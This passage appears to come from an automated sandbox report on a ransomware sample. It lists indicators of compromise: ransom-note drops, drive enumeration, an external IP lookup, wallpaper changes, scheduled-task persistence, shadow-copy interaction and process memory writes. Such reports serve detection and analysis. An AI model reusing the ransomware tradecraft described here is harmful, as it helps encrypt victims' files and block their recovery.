description ioc Process File opened for modification C:\Program Files (x86)\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Searches\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Pictures\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Favorites\Links for United States\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Pictures\Sample Pictures\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Games\Solitaire\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Music\Sample Music\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Games\Purble Place\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Games\Mahjong\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\V17S5RKJ\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\EW3J74TG\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Music\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Games\Hearts\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Games\FreeCell\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Recorded TV\Sample Media\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Desktop\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Documents\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Links\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\TNEMG9GL\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Games\Chess\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Videos\Sample Videos\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-452311807-3713411997-1028535425-1000\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Downloads\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Recorded TV\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Videos\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Videos\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\$Recycle.Bin\S-1-5-21-452311807-3713411997-1028535425-1000\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Documents\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\Music\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Public\Libraries\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\VFIJ47B3\desktop.ini 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe - Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\Q: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\H: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\I: gbw8Tp4V64.exe File opened (read-only) \??\N: gbw8Tp4V64.exe File opened (read-only) \??\E: gbw8Tp4V64.exe File opened (read-only) \??\G: gbw8Tp4V64.exe File opened (read-only) \??\M: gbw8Tp4V64.exe File opened (read-only) \??\T: gbw8Tp4V64.exe File opened (read-only) \??\W: gbw8Tp4V64.exe File opened (read-only) \??\V: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\P: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\J: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\J: gbw8Tp4V64.exe File opened (read-only) \??\Q: gbw8Tp4V64.exe File opened (read-only) \??\R: gbw8Tp4V64.exe File opened (read-only) \??\X: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\T: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\E: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\B: gbw8Tp4V64.exe File opened (read-only) \??\L: gbw8Tp4V64.exe File opened (read-only) \??\V: gbw8Tp4V64.exe File opened (read-only) \??\X: gbw8Tp4V64.exe File opened (read-only) \??\W: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\R: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\O: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\M: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\H: gbw8Tp4V64.exe File opened (read-only) \??\O: gbw8Tp4V64.exe File opened (read-only) \??\P: gbw8Tp4V64.exe File opened (read-only) \??\Y: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\K: gbw8Tp4V64.exe File opened (read-only) \??\Y: gbw8Tp4V64.exe File opened (read-only) \??\S: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\N: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\K: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\A: gbw8Tp4V64.exe File opened (read-only) \??\U: gbw8Tp4V64.exe File opened (read-only) \??\Z: gbw8Tp4V64.exe File opened (read-only) \??\U: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\L: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\I: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\G: 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened (read-only) \??\S: gbw8Tp4V64.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 myexternalip.com - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\OsRNBNcX.bmp" reg.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Taipei 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\access\libftp_plugin.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-compat.jar 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\InfoPathOM\InfoPathOMFormServices\Microsoft.Office.Infopath.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\Certificates\Verisign\Components\VS_ComponentSigningIntermediate.cer 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.SE.XML 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\UIAutomationTypes.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\ExecutiveReport.dotx 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\J0143752.GIF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\SCHDRESP.CFG 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\OUTLLIBR.REST.IDX_DLL 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\mspub.exe.manifest 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes.nl_ja_4.4.0.v20140623020002.jar 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Phoenix 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD00428_.WMF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01126_.WMF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187815.WMF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\SoftBlue\tab_on.gif 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0287641.JPG 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-oql.jar 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Jujuy 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Games\More Games\it-IT\MoreGames.dll.mui 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Sort\TITLE.XSL 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OCRVC.DAT 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Games\FreeCell\fr-FR\FreeCell.exe.mui 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\Sounds\Things\WHOOSH.WAV 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\PS9CRNRH.POC 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\d3dcompiler_47.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-swing-tabcontrol.xml 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\luac.luac 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14565_.GIF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\hprof-16.png 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Seoul 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.CO.IN.XML 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring-fallback.xml 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Azores 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Rainy_River 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.aup 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0151581.WMF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\plugins\mux\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\tesselate.x3d 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\BDRTKFUL.POC 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGREPFRM.XML 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0309598.JPG 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Desert\TAB_ON.GIF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Sts2.css 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\Welcome Tool\IconImages.jpg 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Microsoft Games\Solitaire\it-IT\Solitaire.exe.mui 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Swirl\TAB_ON.GIF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PEOPLEDATAHANDLER.DLL 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormToolImages.jpg 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\icucnv36.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\ja\System.Net.Resources.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187847.WMF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GROOVE_COL.HXT 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGWEBCAL.DPV 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0332268.WMF 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\keytool.exe 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\jp2native.dll 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2612 schtasks.exe - Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2740 vssadmin.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3024 powershell.exe 1636 gbw8Tp4V64.exe 1636 gbw8Tp4V64.exe 1636 gbw8Tp4V64.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 1636 gbw8Tp4V64.exe - Suspicious use of AdjustPrivilegeToken 46 IoCs
description pid Process Token: SeDebugPrivilege 3024 powershell.exe Token: SeDebugPrivilege 1636 gbw8Tp4V64.exe Token: SeLoadDriverPrivilege 1636 gbw8Tp4V64.exe Token: SeBackupPrivilege 2760 vssvc.exe Token: SeRestorePrivilege 2760 vssvc.exe Token: SeAuditPrivilege 2760 vssvc.exe Token: SeIncreaseQuotaPrivilege 3812 WMIC.exe Token: SeSecurityPrivilege 3812 WMIC.exe Token: SeTakeOwnershipPrivilege 3812 WMIC.exe Token: SeLoadDriverPrivilege 3812 WMIC.exe Token: SeSystemProfilePrivilege 3812 WMIC.exe Token: SeSystemtimePrivilege 3812 WMIC.exe Token: SeProfSingleProcessPrivilege 3812 WMIC.exe Token: SeIncBasePriorityPrivilege 3812 WMIC.exe Token: SeCreatePagefilePrivilege 3812 WMIC.exe Token: SeBackupPrivilege 3812 WMIC.exe Token: SeRestorePrivilege 3812 WMIC.exe Token: SeShutdownPrivilege 3812 WMIC.exe Token: SeDebugPrivilege 3812 WMIC.exe Token: SeSystemEnvironmentPrivilege 3812 WMIC.exe Token: SeRemoteShutdownPrivilege 3812 WMIC.exe Token: SeUndockPrivilege 3812 WMIC.exe Token: SeManageVolumePrivilege 3812 WMIC.exe Token: 33 3812 WMIC.exe Token: 34 3812 WMIC.exe Token: 35 3812 WMIC.exe Token: SeIncreaseQuotaPrivilege 3812 WMIC.exe Token: SeSecurityPrivilege 3812 WMIC.exe Token: SeTakeOwnershipPrivilege 3812 WMIC.exe Token: SeLoadDriverPrivilege 3812 WMIC.exe Token: SeSystemProfilePrivilege 3812 WMIC.exe Token: SeSystemtimePrivilege 3812 WMIC.exe Token: SeProfSingleProcessPrivilege 3812 WMIC.exe Token: SeIncBasePriorityPrivilege 3812 WMIC.exe Token: SeCreatePagefilePrivilege 3812 WMIC.exe Token: SeBackupPrivilege 3812 WMIC.exe Token: SeRestorePrivilege 3812 WMIC.exe Token: SeShutdownPrivilege 3812 WMIC.exe Token: SeDebugPrivilege 3812 WMIC.exe Token: SeSystemEnvironmentPrivilege 3812 WMIC.exe Token: SeRemoteShutdownPrivilege 3812 WMIC.exe Token: SeUndockPrivilege 3812 WMIC.exe Token: SeManageVolumePrivilege 3812 WMIC.exe Token: 33 3812 WMIC.exe Token: 34 3812 WMIC.exe Token: 35 3812 WMIC.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1648 wrote to memory of 2404 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 29 PID 1648 wrote to memory of 2404 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 29 PID 1648 wrote to memory of 2404 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 29 PID 1648 wrote to memory of 2404 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 29 PID 1648 wrote to memory of 2700 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 31 PID 1648 wrote to memory of 2700 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 31 PID 1648 wrote to memory of 2700 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 31 PID 1648 wrote to memory of 2700 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 31 PID 1648 wrote to memory of 2920 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 33 PID 1648 wrote to memory of 2920 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 33 PID 1648 wrote to memory of 2920 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 33 PID 1648 wrote to memory of 2920 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 33 PID 2920 wrote to memory of 3024 2920 cmd.exe 35 PID 2920 wrote to memory of 3024 2920 cmd.exe 35 PID 2920 wrote to memory of 3024 2920 cmd.exe 35 PID 2920 wrote to memory of 3024 2920 cmd.exe 35 PID 1648 wrote to memory of 1584 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 36 PID 1648 wrote to memory of 1584 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 36 PID 1648 wrote to memory of 1584 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 36 PID 1648 wrote to memory of 1584 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 36 PID 1648 wrote to memory of 700 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 38 PID 1648 wrote to memory of 700 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 38 PID 1648 wrote to memory of 700 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 38 PID 1648 wrote to memory of 700 1648 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe 38 PID 1584 wrote to memory of 